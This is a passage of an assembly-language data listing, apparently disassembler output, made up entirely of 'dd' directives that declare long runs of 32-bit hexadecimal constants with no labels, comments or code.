		dd 0E2368220h, 0CACF01C3h, 3D2D253Fh, 0DCB53115h, 0C203620Eh
		dd 2491F8F3h, 0B9CFD851h, 78A004Ah, 2DAA280Fh, 0D73D4348h
		dd 639D89F1h, 44090799h, 2E7BC6F0h, 0ACF00292h,	1BB6FF0Ch
		dd 2210B080h, 0D400FD4Ah, 0C1FA034Eh, 82460Dh, 0AB8FAEB4h
		dd 1F9A6FCFh, 1463D800h, 5019BC6Dh, 58CE0F52h, 6680189Dh
		dd 2D47CB97h, 0D998491Ch
		dd 8C3CD4h, 3FBC550h, 741A559h,	0F772B46h, 7491A082h, 0BA0F44EAh
		dd 0A0DEA13Eh, 0C037454Ah, 66C10611h, 2A957F82h, 0AD61D000h
		dd 59271EE9h, 6CBB07EEh, 0C0B4D971h, 0A28BF3F1h, 835A9B3Fh
		dd 0E65216C6h, 0E9A983B3h, 51C45679h, 9CB6051Ch, 0C0F9AA59h
		dd 8B2A7C41h, 9B053000h, 44D31F83h, 7C97F78h, 64DF12DCh
		dd 24C5E26Bh, 5500C050h, 0F762D190h, 601651h, 19E58C91h
		dd 28C6D718h, 369B1E0Eh, 1C13A045h, 1773589Dh, 1EC999Fh
		dd 5603D490h, 0BB63C8B7h, 0C76C5C00h, 17ED53B2h, 0E700044h
		dd 0E1AB0359h, 0CC03E08Eh, 0A296D53Dh, 2DE3A077h, 70360DC3h
		dd 0D0110B95h, 0EE00B971h, 54F7F4Dh, 0E79B666Fh, 0F2350DCh
		dd 0B9E060DCh, 0D2D068E9h, 0C1BED70Fh, 714E400Ah, 9E1B6C2h
		dd 0B2316C64h, 74C4B000h, 4C00A45Ch, 0AF293C36h, 1875DACEh
		dd 113BF09Fh, 0BE00F2B6h, 275C1B17h, 1E1182Dh, 0E6BFABB3h
		dd 813F5D4Dh, 94197E88h, 9C50D23Dh, 3CB1F997h, 3330CEA9h
		dd 51EB64C8h, 2AE12600h, 2E49343h, 0B1900F5h, 0C8BD735Dh
		dd 18F84CB3h, 0FC0A4507h, 0B1C04779h, 23F7F3h, 0ECDE07F4h
		dd 31CFFE9Eh, 0A318D4E8h, 3D7117F0h, 8D8503D1h,	0D80AA8DBh
		dd 33AD01D8h, 567EA203h, 0C167BFh, 1DA01B64h, 6E80937Ch
		dd 16CEAE1Fh, 83F5A9F0h, 65A20094h, 0E903DB67h,	0A3001990h
		dd 95B19197h, 4F1C2Eh, 8883B22Fh, 0D92D6A96h, 0FECCA2C0h
		dd 2F094FFh, 0BE9F8F49h, 0A0A06319h, 56F1A5E3h,	80657130h
		dd 9D4578h, 32E5FD4Bh, 2ECF10D4h, 0BD0028EAh, 944189D8h
		dd 27781AF7h, 4B7EDD51h, 0D01501Fh, 5254D8A4h, 69755987h
		dd 0C1446783h, 0F0478760h, 0D2161EAEh, 9C00FB9Fh, 8CE6C920h
		dd 6CD7D9Eh, 0EAEE1439h, 6C7C1089h, 0DF5804A7h,	10D7607Dh
		dd 0D9FE79A6h, 0F3788700h, 0DDD291AAh, 0DCAC00E4h, 473867BAh
		dd 1188CA2h, 9729F913h,	1AA380ADh, 580B6B1Ch, 0D04926C0h
		dd 0DAD62Ah, 13AFA0CAh,	0C538275Bh, 33506901h, 702EC224h
		dd 3ED07ADCh, 8B0156AFh, 0C5D7B139h, 96EE8E5h, 1F1E9F00h
		dd 1420E705h, 21FAA7h, 0C20DBFE9h, 668BF5B9h, 8119CE3Bh
		dd 8C438734h, 892095B6h, 0B7780290h, 1602538Dh,	14116A60h
		dd 0EC49AE00h, 0DAB87B22h, 9EF600E3h, 0FBB3A70Ch, 980E46C2h
		dd 5B028Fh, 44B631EDh, 566300EAh, 8A15391h, 0E5C23B1h
		dd 9CCC286Eh, 6007677Ch, 26258B30h, 0DF4C210h, 0B1450035h
		dd 0AC214DBEh, 1F00F03Eh, 7EED5408h, 1803420Ch,	8C3755A2h
		dd 69006E77h, 1CF1D422h, 6257B3h, 136A9536h, 4AD9C854h
		dd 970F6538h, 7800065Dh, 9418C47Eh, 0B47202DDh,	508162B0h
		dd 14A76860h, 0F652061Fh, 6AFC87C4h, 27360BC0h,	0E15703A9h
		dd 0CEE58291h, 0CD7DA0A7h, 21FE4F73h, 37B99D00h, 0CFB4B10Fh
		dd 88FB00C9h, 48C77AA5h, 0F500586Bh, 0CA599E66h, 0CC1DAh
		dd 3CE95693h, 18530907h, 218C5402h, 80388AFDh, 0DCFA9B8Ch
		dd 3F9E0065h, 0E5871781h, 0D20FC19Ah, 605EEA5Fh, 0F375CC92h
		dd 0BA6C0049h, 0B0C0D7B6h, 1800CB5Bh, 282E0EC9h, 7C4CDB9h
		dd 0FA2A4EFDh, 850AA0CCh, 81173941h, 470001B8h,	9B70AFFCh
		dd 35F06Bh, 759D2774h, 0D4D90447h, 456F2F00h, 0A8209312h
		dd 0E4C5000Fh, 501D315Dh, 0BD00D385h, 71A14504h, 0B63840h
		dd 182BAAB4h, 8357C293h, 26627E05h, 0D9B008B7h,	0D2583B0Ah
		dd 0C988D50Eh, 50CC4920h, 0F9C017B2h, 0E320B60Fh, 0DD94872h
		dd 24F06B00h, 0BC7A360Dh, 1EA3FB00h, 258FB761h,	2A4100E4h
		dd 0FC3DA2F1h, 0F5006E48h, 5B62BA8Ch, 0C405031h, 7E9F936Bh
		dd 540011F8h, 0CC1873D7h, 9089670Dh, 689B037Ch,	8A4FCBBBh
		dd 8F331000h, 13A93C7h,	1B950094h, 560F6D7Eh, 48C0CDDAh
		dd 154A74B2h, 70A27111h, 84640027h, 1CC87FAEh, 6C1379ECh
		dd 0C00225Bh, 240869F2h, 0B40B0012h, 6568D7BAh,	0C200C56Ah
		dd 0BE2B81EEh, 3F8262DFh, 7C80F078h, 0CE6107BFh, 10044118h
		dd 0FB233201h, 3B56C080h, 83031E87h, 0AA0A00F4h, 796A01FFh
		dd 0C823F800h, 0A64D722Bh, 50131FB6h, 0FB1406EAh, 89018827h
		dd 7C3F553h, 0FE400F68h, 605A5E26h, 7F091006h, 0E50063C6h
		dd 72D5608Ah, 481E2B15h, 0A68700ABh, 0CD13D052h, 4A064316h
		dd 0FEE217F7h, 20770188h, 90BCA8A2h, 9CEAECFFh,	33B6FC02h
		dd 407BC543h, 455CEA4h,	0FB68C924h, 6CDA80C1h, 76E6AB0Bh
		dd 4D3AFCA8h, 0D2C67C01h, 60E4E507h, 0A28DD0h, 8F29CF14h
		dd 0AE46D952h, 401FF30Fh, 334B202Eh, 0D0FA2Fh, 3C300D22h
		dd 4D2B1C88h, 97553E0Bh, 0D1358052h, 0A21780h, 6C94871h
		dd 0EFD3A9DBh, 781F0A00h, 23E8D69Dh, 0B0460F5Ch, 0AB40DD97h
		dd 0F9572420h, 368C0C00h, 0F7C1532Ah, 3C2600DAh, 231E34E2h
		dd 170718C0h, 35D93D19h, 5806F110h, 11EE0787h, 0F26F650Ch
		dd 3CC0F52Fh, 0C4008E7Ch, 28A0B4A2h, 11DAE3Bh, 0CD384F83h
		dd 0FF822340h, 0B6AA70F0h, 0DC3D0800h, 0E53E595Eh, 71EB3EDDh
		dd 5591C107h, 0F19AB11Dh, 73C03A21h, 689EFBh, 0BAC682C5h
		dd 0B703FF12h, 4B60EE01h, 7E3E28E3h, 1286F2E8h,	79E105h
		dd 519D4D70h, 7860898Dh, 36D18510h, 982007EBh, 20EA5DDAh
		dd 514E7B0Ch, 805F633Fh, 32B548E6h, 261DD40Dh, 80D86667h
		dd 0C1FEBFEh, 841E54B0h, 4807ECD7h, 19905E6h, 0F6106CAAh
		dd 0CF03D4h, 64908EB4h,	0EE8DEA7Bh, 9E32C8C3h, 238F87D5h
		dd 0E0DF2CDCh, 110BAEh,	41810CBAh, 6C57F8A6h, 0D6A52400h
		dd 52D917B3h, 0E801592Ah, 45A7FB03h, 0ECE3AB99h, 8B2143B0h
		dd 0DD5FF800h, 0EE417E2Ah, 0BAD612F6h, 9804400Fh, 16ADF573h
		dd 0F3B8A500h, 0DB4EEF4Ch, 97920015h, 0E2E1069Ah, 2005B9Bh
		dd 0E3CC5283h, 0DA798Ch, 3A17C3F3h, 7E407B53h, 1C009598h
		dd 5C24DFD8h, 26B9A1C4h, 80446321h, 60D68B6Ch, 6A0394C9h
		dd 9BD4B4EFh, 9D7DD9C8h, 1F1870h, 0BC4AE807h, 0B7351EE6h
		dd 6B93F400h, 0A2BF486Dh, 24EC011Fh, 95E0FF01h,	21087065h
		dd 54459B05h, 82BAD041h, 0D3E0B4ABh, 5F174A87h,	400030D4h
		dd 0FAD6E8E1h, 76611727h, 0FD50408Bh, 6867D78Fh, 566F400h
		dd 0B56124FAh, 0A721C586h, 8360D72Ch, 0B280E7F4h, 0C9E0B7ABh
		dd 0A22848E8h, 50001079h, 36078B5Ch, 74E10888h,	0D6540358h
		dd 78DB1BFEh, 7D80FD9Bh, 0B00014AFh, 910269CAh,	0E42BE241h
		dd 66E10083h, 2AEBF215h, 640A3905h, 3082A2CDh, 341AA1Dh
		dd 6088D6B9h, 0C1EF9853h, 0E474F17Eh, 1B900C7Dh, 0F511F268h
		dd 0EAE03F01h, 35458C03h, 0D6DAB8E7h, 19600173h, 0B76B6FF7h
		dd 0D8EBCA87h, 0FA994BB8h, 0B203BF02h, 0E1B9D7CBh, 7EE908C0h
		dd 98704FF5h, 0BD2500DDh, 80F8B809h, 70F1D1C6h,	0B100D6D8h
		dd 2822598Fh, 230D8CFh,	0FD19ABE9h, 5FC0E17Bh, 3A0CBFD2h
		dd 708F8DC9h, 0EE390909h, 4445EB57h, 95F55DC0h,	137F8D3h
		dd 9A39380Dh, 0E8CC9D33h, 0B873AD7Eh, 0B2064F00h, 0C9287646h
		dd 0CD3D000Ah, 0C38BBCFCh, 1F1F47B4h, 9209ED3Ah, 0D974A0C4h
		dd 3E4636A6h, 0A9022B77h, 0FE071D5Fh, 5D150C8h,	66629500h
		dd 211C80C8h, 0F4CF0052h, 3163C90Fh, 0B4007823h, 0D6EBF893h
		dd 1F19981Fh, 0D72BDBB5h, 0CD00AB3Fh, 0FA7C6086h, 5D73005Bh
		dd 2A2F38F7h, 8C0394DFh, 0E937AE22h, 0A5F8D115h, 39C598C8h
		dd 4A84D3B8h, 80887304h, 7DC0EFCDh, 0DB763D00h,	0AAB8ED6Dh
		dd 0F022FCCEh
		dd 190726AFh, 499F3F13h, 2E5C0Eh, 982FE958h, 3C001628h
		dd 0DE08856Dh, 7A043FEh, 4A80DBFh, 64EFB3FAh, 88ADC08Dh
		dd 4B009E9Fh, 453B926Eh, 0EEB03Fh, 0B5984F93h, 0AD6A8B2h
		dd 0C6DF7D01h, 245D9619h, 0CB80460h, 84E7842h, 0D9FC6611h
		dd 0DF120300h, 0B85E09D5h, 3CE6CCh, 1CA98E33h, 413ED172h
		dd 81E2C4B2h, 3921AE00h, 1AC68ABAh, 7675000Ch, 1C1EEFCBh
		dd 4D09DBE7h, 438D8B24h, 0E05780CCh, 1D5800B2h,	0CD17906Bh
		dd 0E100B7BFh, 0C8D8AFA8h, 3FF999h, 5C3656DDh, 404C977Fh
		dd 0E2692212h, 8A32840h, 7291A6FDh, 3AFE0056h, 38DE7FE3h
		dd 0D600E1F8h, 5B0239F7h, 1DD57BBEh, 7F0F8132h,	5143007Fh
		dd 0E7B2A186h, 0FB009274h, 3C5FAE56h, 0BA82EDh,	84D2167Ch
		dd 0EFA6C7D6h, 1D9FC148h, 1380C6B2h, 0B9D40619h, 528C097Fh
		dd 9834ADBh, 0DC80C1FEh, 0D70103DAh, 0DFE2AB47h, 6130CF7Ah
		dd 2B0400A7h, 370B070Ch, 0F1DB35Ch, 24CB33BAh, 320E838Dh
		dd 0D0C909Ch, 0C91B0062h, 4E4D6629h, 64074F1Eh,	26B084BBh
		dd 485380AFh, 19F6168h,	5A272B24h, 20D70C56h, 0DB00EEF7h
		dd 9D46748Ch, 0F8E88A31h, 1F3D1CB0h, 653CBDB3h,	0E706EE00h
		dd 89727A6Eh, 63B26900h, 6DEAAC54h, 5A4A8Ch, 81E18FBCh
		dd 7900EFB9h, 0BC7116E8h, 0A124BEh, 0CEA68E91h,	3AB67532h
		dd 2F38F7F0h, 0F5318007h, 0EB2294E2h, 0CBC900EAh, 951C7BF4h
		dd 42008D1Ah, 0D80C935Dh, 7DDD67h, 0A43987BAh, 69FCD7E5h
		dd 62736817h, 64F29C40h, 761BAB61h, 0F8AA0048h,	36450134h
		dd 2F00561Dh, 92D28BFEh, 167EE6h, 0F78FC2B3h, 0DC5871F8h
		dd 0D78ECB00h, 89281872h, 103200DBh, 34373E88h,	0C490E45Bh
		dd 0E7004A72h, 0F97539F0h, 5EE18Dh, 7C8A1B68h, 487DB521h
		dd 0B65B6A09h, 23B600C0h, 32CCE67h, 63FEC99Ah, 0D59BB183h
		dd 978CB11Ch, 7400C7DFh, 1FF03A55h, 0E5AC0ED6h,	0D463E3C5h
		dd 3FE0EC0Bh, 10047A0h,	0E65A4CAFh, 352B0B9h, 43145F7Dh
		dd 12C959D4h, 7BB0EBC1h, 31002111h, 6E01130Ah, 0A70596h
		dd 0A13AC5DBh, 0DF2049B0h, 0D9E3E700h, 0EA74BBF3h, 40500977h
		dd 68C08CBFh, 0B00286Dh, 78A682D7h, 0FEB7E139h,	0F2F70043h
		dd 17F32434h, 0ECE27EB1h, 0FC0DA3Bh, 4097BF49h,	0BBFA9009h
		dd 52BC004Ch, 0CD783E15h, 88007FEFh, 955ABA3Dh,	2E0F6804h
		dd 0F4CB8Dh, 0B18F81B2h, 8254AE23h, 0EF1EB08Ch,	4A412CAAh
		dd 0B881D5C2h, 0A8807FFEh, 0D936B5C6h, 4E119803h, 0D8489440h
		dd 0F1DD3Bh, 0FF57B22Bh, 0E71314D5h, 0FEDF7E00h, 77D63365h
		dd 26FC00C5h, 94EDB89Ah, 583B0D6Dh, 0E900FD48h,	0C8876751h
		dd 4029B3h, 24526D6h, 2C82890Ah, 99944C00h, 0F3424AEDh
		dd 0A00503CAh, 0A8D8B445h, 3774D3C8h, 0DE00349Eh, 77653868h
		dd 74274D2Fh, 0FE709D02h, 948246D0h, 0F4803B74h, 1CFD68Ch
		dd 823D9C12h, 0CA2C9300h, 3ECB4BC9h, 0BFA6441h,	25EFED4Ah
		dd 0A709E400h, 0B800A17Eh, 0AF8E84C6h, 3F6AFC73h, 93814E60h
		dd 0CF51135Dh, 0AD2CCEFh, 40CE610Bh, 30330298h,	0EAC8E2Dh
		dd 11E8C08Ah, 4B1B1945h, 79F400D5h, 10280F7Ch, 0A50EE498h
		dd 7EC399DBh, 452002C6h, 0B7BA00B0h, 67F5B01Ch,	47050508h
		dd 4B55BB7Fh, 212B8C90h, 0A01400AAh, 0D97559D2h, 0EF0094C4h
		dd 0A6A7BE0Bh, 98DBD5C6h, 13E800F6h, 9C44E9ABh,	0F31EBFECh
		dd 335EACC7h, 8EFBB3C1h, 0BDE4F453h, 0DB150E76h, 2E80D02Dh
		dd 0A4930A03h, 0A029FA6Eh, 0E279F6DCh, 78201CAh, 12BAF547h
		dd 0B7F07FFCh, 0D2330072h, 377797A4h, 0AB00B8E6h, 60C6120Ch
		dd 273B8Bh, 3102A7Ah, 824AADEh,	84B4671Dh, 3D13EC40h, 0BBDAC4h
		dd 4703484Dh, 0EE70C0CCh, 406D100h, 1842A60Bh, 0DC6B0192h
		dd 7DD80D54h, 0E685F436h, 0AF110F00h, 0B822A3F2h, 1D2C3D89h
		dd 3C7DCC80h, 0A6CDB2DFh, 75B13400h, 4B5A7E65h,	48ED0047h
		dd 4629D33Ah, 260030CAh, 0C7460D9h, 1870BAFh, 5FFEF1D1h
		dd 0F822B908h, 0A63CEE32h, 0AE7002A5h, 0E0EC5A8Fh, 6BE96Fh
		dd 0B53F0762h, 55D77CDDh, 6B0A417h, 0E16DEF01h,	0CAF04870h
		dd 81A53DD2h, 8900E0B8h, 0F27892ACh, 8E1C96A4h,	930082E7h
		dd 0FEA1AD1Fh, 91800AB3h, 7F6BB13h, 50363F03h, 8CA35BC7h
		dd 392F7E00h, 51010225h, 0A70F00FFh, 8D9E741Dh,	7E3920CFh
		dd 0D7BA6Fh, 33A46282h,	0B9D132h, 0C6C23144h, 17C8FB16h
		dd 42AF1200h, 9993C0B7h, 50E70081h, 8BE92D47h, 0A00795D6h
		dd 1AAF20AAh, 5E8E3FF0h, 65360039h, 3C7A9D7Ch, 9A00B5EFh
		dd 41F1761Bh, 0D9C8B1h,	790212B4h, 29992B37h, 0A8FD4A31h
		dd 0F02A397Eh, 70008292h, 9C91A9B5h, 18F8ED44h,	284FFD69h
		dd 20C8571Eh, 0F741FC5h, 0A64165ABh, 8371FE7Dh,	0C0D0F538h
		dd 6108B802h, 91FB00DFh, 0E9C92188h, 28004967h,	0F27B1AF8h
		dd 73A1E036h, 0F3F032h,	48997AE6h, 65FB4D06h, 0A3B4C000h
		dd 7328BF55h, 0ECCE0BB2h, 0AB0102A6h, 20EFD5A7h, 0E075099h
		dd 48FF5D8Eh, 2201544Ah, 916703D6h, 583E2080h, 5A734637h
		dd 36BFAE18h, 0A7488A8h, 507FD8Ah, 29943AD4h, 6881882Ah
		dd 0F0158E20h, 9148D72h, 7A1408FFh, 33B5A000h, 123FC902h
		dd 7EDE74A5h, 26150063h, 0E94F7F30h, 100AE7Ch, 28B5A2F1h
		dd 810D9Bh, 7F9206A4h, 0E3463F8Ah, 0E0491100h, 0F6486F3Eh
		dd 33D9053Ah, 514AE7h, 494D2BD8h, 0C40370AAh, 43F02E66h
		dd 4A0AF061h, 0A96303E8h, 7795611h, 9C1D983Ah, 2E0377DEh
		dd 24065258h, 80447A09h, 7DE713Dh, 0D01E113Ah, 7D80408Dh
		dd 5F32BAA2h, 37E31850h, 0FBA8E002h, 4F867900h,	4BAAD38Fh
		dd 8E61D38h, 5294169h, 0EC0E7BBDh, 7E0F1896h, 0C790D4FEh
		dd 400CEEE3h, 8D100022h, 0B26574BCh, 0BD3A8279h, 0A0462AA9h
		dd 8B874500h, 0ACDE39F7h, 0E4B00080h, 1C26364Bh, 0D112B27Ch
		dd 0D11DB75Ch, 1BB179C0h, 15195B2Ah, 0D0E84959h, 46805128h
		dd 0DE640720h, 0C7A80DD4h, 0C600F854h, 0B929DE9Ch, 153C0024h
		dd 4ED77BA7h, 9B18C0F7h, 0DC84B48h, 143D86E7h, 8574088Dh
		dd 401F64B8h, 498D2AE9h, 99A70072h, 881CCF8Bh, 52789694h
		dd 4702FE0Eh, 0E729C055h, 485E7CD5h, 0B18030D9h, 372FAEBAh
		dd 1825903Dh, 130888CCh, 9A20C031h, 0C6E0AE94h,	0F55BE91Fh
		dd 5F3669C1h, 0F1808457h, 8A813AF0h, 70BD1052h,	9F937DD0h
		dd 69430C80h, 9928250Dh, 1E0A94E7h, 0A005652Ah,	0E5C20400h
		dd 0E4FCEA7Bh, 0C7F72667h, 8A5E0034h, 18BF9778h, 9ACA3500h
		dd 0F5E1AE02h, 0BEA200F6h, 0FB4E5375h, 0E30392B9h, 7443F26Bh
		dd 0F57EC039h, 9A7900A0h, 131F32D8h, 9301D97Ah,	0CF6781ACh
		dd 0D7D810ADh, 3E80024h, 0DCB9CDAFh, 5009422h, 5C558F97h
		dd 6FA39D2Bh, 0F8A020F3h, 19A79CFAh, 277A1500h,	63CF26D7h
		dd 0F7F21E7Eh, 2129309Ah, 0FF7976A9h, 8900EC7Ch, 2B7327A3h
		dd 31620B6h, 61228D24h,	0B4D84E8Bh, 0E1F28EEFh,	90ED3F01h
		dd 71F05938h, 0FE53E4F0h, 0EE270AE6h, 0C4534h, 3B06E593h
		dd 7F7B8096h, 8052BF33h, 0D7F098D9h, 40D1DC21h,	7B877F36h
		dd 9C300A8Ah, 232219A0h, 18681E83h, 31E0B0F3h, 0A770296Bh
		dd 0E13F0100h, 0C2768AE6h, 0DB3A58E7h, 8073151Dh, 0FE30BCFFh
		dd 93001248h, 0AEBD367Eh, 0FBF2B4C9h, 3CD03D0h,	0BEF5C528h
		dd 0B0C1CA26h, 0ED18879Ah, 25F01C15h, 651A3A7h,	9DB971D4h
		dd 30C40C0h
		dd 28D29701h, 6EDE0EBFh, 0BCC31FB6h, 2003F4ECh,	39A6DCE5h
		dd 25691FF3h, 8498C080h, 0A3F1C47Dh, 61A11106h,	4490AF77h
		dd 2800F28Fh, 89A9A4ABh, 0EE7C026h, 0E8517EBFh,	0E5B0C980h
		dd 250698FEh, 1CFFE692h, 0B90E2618h, 0F51E0CE9h, 6306C930h
		dd 99927FFDh, 4F7E3020h, 0FCF21641h, 57CE3500h,	86AEAB2Dh
		dd 3CC054Ah, 8CBDA8Dh, 2780A880h, 0DDF64FF2h, 4091604Ah
		dd 8E5A5629h, 0FD0D1E03h, 6720157h, 9BCE9818h, 8D0038ADh
		dd 0A2A97D88h, 0E839370Dh, 297766CFh, 242AA801h, 7CF09C9Ah
		dd 229D900h, 76AEFCFAh,	0D4E702BDh, 0D0FFD261h,	3F8DC880h
		dd 3301144Ch, 893934FEh, 0D9855F20h, 5CD7D098h,	0A4BD149Ch
		dd 78899A30h, 65000EF5h, 0F656FA81h, 0CEAC187h,	9F23C559h
		dd 82001881h, 0DE04691h, 0A158907Fh, 12D9A6E0h,	2AC9209Ch
		dd 0C62C067Ch, 0E9F286EAh, 961E3C18h, 54704E29h, 29119CAFh
		dd 8EC6C7Ah, 0D500AEC3h, 6ADD3A22h, 0B8D700F8h,	0B263841Fh
		dd 8F015BA1h, 722F4D49h, 0D08CE655h, 5639B8B4h,	5A280A00h
		dd 6688FBD8h, 0E3A00712h, 0E0639290h, 0E07014A1h, 2251B9C2h
		dd 608408E8h, 8FEAF5EDh, 0A758BA00h, 0E9AA1A41h, 0AF14249Eh
		dd 222C084h, 0D0639AE8h, 1E4E10h, 29BBED19h, 0A64DE39Ch
		dd 48AE663Fh, 20E43014h, 2A3C8804h, 0EC849B7Ch,	0CDA00EF9h
		dd 0C0446136h, 824E430Fh, 0A6511475h, 638DB053h, 9ABAD321h
		dd 586D9821h, 0CC0BC4h,	1DEBA5FFh, 0B413D647h, 64E270A0h
		dd 8CF44100h, 0A5C4B342h, 0F2210097h, 0CAF3D4CBh, 0DC281D8Eh
		dd 0DF078CAFh, 43636BC1h, 736853D1h, 44961110h,	0D0DC2B30h
		dd 92D1F19Eh, 28F8800Ch, 0ECFA1A35h, 0E8A72111h, 7A3E40BEh
		dd 0D9C476D2h, 56227770h, 98880016h, 45255404h,	0E0246A2Fh
		dd 9991B44Dh, 0AE53A212h, 7080C61Eh, 0C14638E3h, 354E001Eh
		dd 18E5E0CFh, 6B31593Ch, 0FD24D036h, 97BDA980h,	9E0EC854h
		dd 0D6376A06h, 7791AA8h, 0A7D4B516h, 94699056h,	2C640484h
		dd 569C41h, 41186A8Bh, 7101BE7Dh, 46B7F7CCh, 24304080h
		dd 73531A29h, 0B0C0A9A0h, 0C126C483h, 704048B4h, 323EE8Eh
		dd 356BA791h, 81007A57h, 1B6F9BCAh, 4D7C3FA5h, 497B5477h
		dd 81004C9Dh, 0B32A5186h, 0F6E48A08h, 9010B804h, 0FC8034D1h
		dd 91570FE5h, 0EF5A6068h, 2C02312Dh, 0F35BC09Ch, 92E37FDAh
		dd 9958797Eh, 81D73A4Fh, 0C985C5Fh, 84349CDBh, 0BA4D8853h
		dd 0F687E90Fh, 0C6C7E0FDh, 10F5B0C4h, 50DE0232h, 98A2EB08h
		dd 0BEDA8400h, 90A67D8h, 88CD3E95h, 2604F600h, 90421CE8h
		dd 15B239CEh, 2D02B138h, 36872530h, 65475464h, 9B1B4E08h
		dd 49221C28h, 91AF9896h, 4103324h, 9888B97Ch, 1D211FF7h
		dd 2BDF03F5h, 0D480510Eh, 0E8933063h, 0BDA4CE81h, 8C502402h
		dd 6883679h, 0A64F20D2h, 90C9516Ah, 0DF0C204Eh,	0B383935h
		dd 4D56DD9Ch, 30D3F60Eh, 68799180h, 1062EFh, 938485E4h
		dd 90BA8305h, 13989188h, 7908207Eh, 6309DE47h, 98055DBEh
		dd 61744E1Ch, 0D9DF4985h, 0CBE67061h, 8874F9D4h, 0B97280D4h
		dd 15DB0A7Fh, 10A278B1h, 0B0D3CB02h, 44C919AFh,	994D145Ch
		dd 0F780AC7Eh, 58CFD67Dh, 0E60984Dh, 8ACC049Eh,	9C9128EDh
		dd 2D9D400h, 5C6D3938h,	0A89B4607h, 8042A64Ah, 64D06AE3h
		dd 0BF0C0078h, 0B6616842h, 0D808045Bh, 0A213F46h, 0B0B4277Eh
		dd 0A7B31D5Ah, 19016500h, 9325F383h, 549F4A5h, 802F25Ah
		dd 0C59C20B4h, 9D008434h, 9C1F87FBh, 0F1EBE2ADh, 1E35A5D0h
		dd 95050Ch, 859FC586h, 0D806FD43h, 2632FFC6h, 0AA8B015Ah
		dd 0D6DC9E6Dh, 0FEADD07Bh, 46C97901h, 71F6E87Eh, 63A73AF4h
		dd 88CB2810h, 20703130h, 34C9923h, 0C4263F28h, 780DAB0Ch
		dd 297BCBBAh, 0B8A144E4h, 3C34EC30h, 3FC687Eh, 6F56763Eh
		dd 28761A5Bh, 44A5D305h, 48084A1Eh, 1DE080D7h, 378114C2h
		dd 1103157Ah, 2F686B36h, 7420715Dh, 38B06172h, 10BD07B1h
		dd 0DFA3CDD4h, 605B1890h, 11C0AECAh, 74208658h,	0D51900EDh
		dd 8365330Ah, 0CB14B6A3h, 30A02DA2h, 437E58AEh,	3886E39Fh
		dd 4035C58Dh, 7C030CF8h, 0B78F65D5h, 24E321h, 8C82FC19h
		dd 0C0E865Bh, 9C8FAA01h, 1BD4179Ah, 0DC337FECh,	729B08A9h
		dd 7EB05118h, 0C04E783Fh, 0D0333C69h, 0D4783BFCh, 0E2187163h
		dd 68210034h, 0AFECE53Fh, 0BE30E62Eh, 0F1D4B07Ah, 3EE1C0AAh
		dd 6E59057Dh, 7C3B0E18h, 89711860h, 0C508865Eh,	7231B5C8h
		dd 0A1E66Ah, 0E96F09DCh, 89D446A8h, 133E6C00h, 42FEC9C5h
		dd 18F400F1h, 340C087Ch, 0F8AAFBB5h, 40810C84h,	2F4A701Ah
		dd 0DFC901F1h, 0D3ACEEF0h, 1960489Bh, 28FD2E04h, 8982C2C4h
		dd 39184627h, 0B39F43C6h, 1FEC9EDCh, 0DB5220A7h, 73B700ECh
		dd 6417BCE8h, 0F33418A8h, 0F8C4594Fh, 0E71FA700h, 0EB0177B3h
		dd 2CAF2A44h, 70D02280h, 22D4BA40h, 3E09A2C6h, 26915801h
		dd 3F2927A0h, 888096E5h, 94193829h, 0C5006CC7h,	0D1EF90C2h
		dd 30167C89h, 0D9845EBh, 0E3545F5Ch, 1491CBF0h,	5264B900h
		dd 24F8AE98h, 41589D77h, 493B2B7Eh, 0B512F4F8h,	88542D24h
		dd 0BAE25B84h, 0C551090h, 7F3E90CCh, 504F00B4h,	823719EFh
		dd 0ED54A553h, 0B51F4490h, 32835492h, 1D43D91h,	70ED4258h
		dd 3BEEB20Ah, 132DC609h, 6008D63Ch, 995341ACh, 0B80A2454h
		dd 8C80C8CAh, 0DFCD6C80h, 3D7DBBEh, 92DE66F8h, 0DF5FC5h
		dd 93E0A742h, 0C4603824h, 545A516Ch, 0F18784C6h, 0F20B5600h
		dd 7FF41A00h, 0F56477EDh, 553330Dh, 0B01ED331h,	0E5C236E3h
		dd 443E7D3Bh, 0F0441588h, 3433A8D3h, 11003659h,	17EF6382h
		dd 9B7BB993h, 0B108011Ch, 0EC2924ABh, 4E04D484h, 0E8E7A007h
		dd 0A4250882h, 888D3B4h, 0B3211BC5h, 63C0B1FEh,	6E054BF1h
		dd 3330BF93h, 0B38D1842h, 0D414843Ah, 24212D85h, 30533B33h
		dd 42310257h, 0C4EDB1F2h, 18007444h, 1930A148h,	13078A69h
		dd 607C38A6h, 0DBB5F1C4h, 39C8530Fh, 0F30D01EFh, 444C323Eh
		dd 0EE7A0206h, 0F89E161Ch, 50551869h, 0BB2444A8h, 904894AAh
		dd 0AD01023Eh, 3BC0E5F2h, 0C712B2C9h, 0BA8A8084h, 366B8EC0h
		dd 487F0Fh, 0AA7D17F6h,	3E93CD19h, 0B9B7F1C4h, 0AB53B142h
		dd 22E22849h, 292800C4h, 75B6ED69h, 0F17002BCh,	7BD3C1A9h
		dd 80F81907h, 3E9DFF8Dh, 0F0240CA3h, 3844C072h,	8B5FAE41h
		dd 0B459A01Dh, 0AC13A345h, 11EECAh, 8B79A884h, 4163DC4Ah
		dd 775F5A05h, 880A0A31h, 460174CAh, 73572809h, 3E06BE9h
		dd 22D90061h, 0F37E05B9h, 0BD0A364Dh, 0E4B83F9Ch, 0C853DC8Ah
		dd 0A68F8Bh, 14496F00h,	2C724D2Dh, 62E43F24h, 0C001116Dh
		dd 0F424AF33h, 24D42D0h, 0AC610E6Ch, 19EC663Ch,	0A943C3C5h
		dd 9B02104Dh, 0A6350064h, 2479BD0Bh, 0C958FE7Ch, 714B8060h
		dd 7193E9Fh, 7354452Ah,	975D5734h, 44F4C580h, 9DDEC8h
		dd 97736BF5h, 7E8D004Ah, 85532C06h, 992CAE35h, 89648D2h
		dd 9CA99C31h, 2B484418h, 16AC8824h, 21D420CBh, 3500FD79h
		dd 366527F3h, 4FC659h, 422343EFh, 7299FFECh, 559140B3h
		dd 2EAA5311h, 110064E2h, 0F8E786D5h, 39627420h,	52014453h
		dd 0F310D97Dh, 61D180ECh, 65A1338Ah, 39121F4Ah,	0DB4F0078h
		dd 13FB09C8h, 0BAB0A654h, 0B1897499h, 704A8DB5h, 700D026h
		dd 0C1361387h, 80A8C7A9h, 3E88A4CFh, 24D27D26h,	0E0E833BCh
		dd 434634EDh, 0DDAE34A8h
		dd 594C2B35h, 0B1E1D70Ch, 5BFB3C95h, 0EBBFCD80h, 3274C9AEh
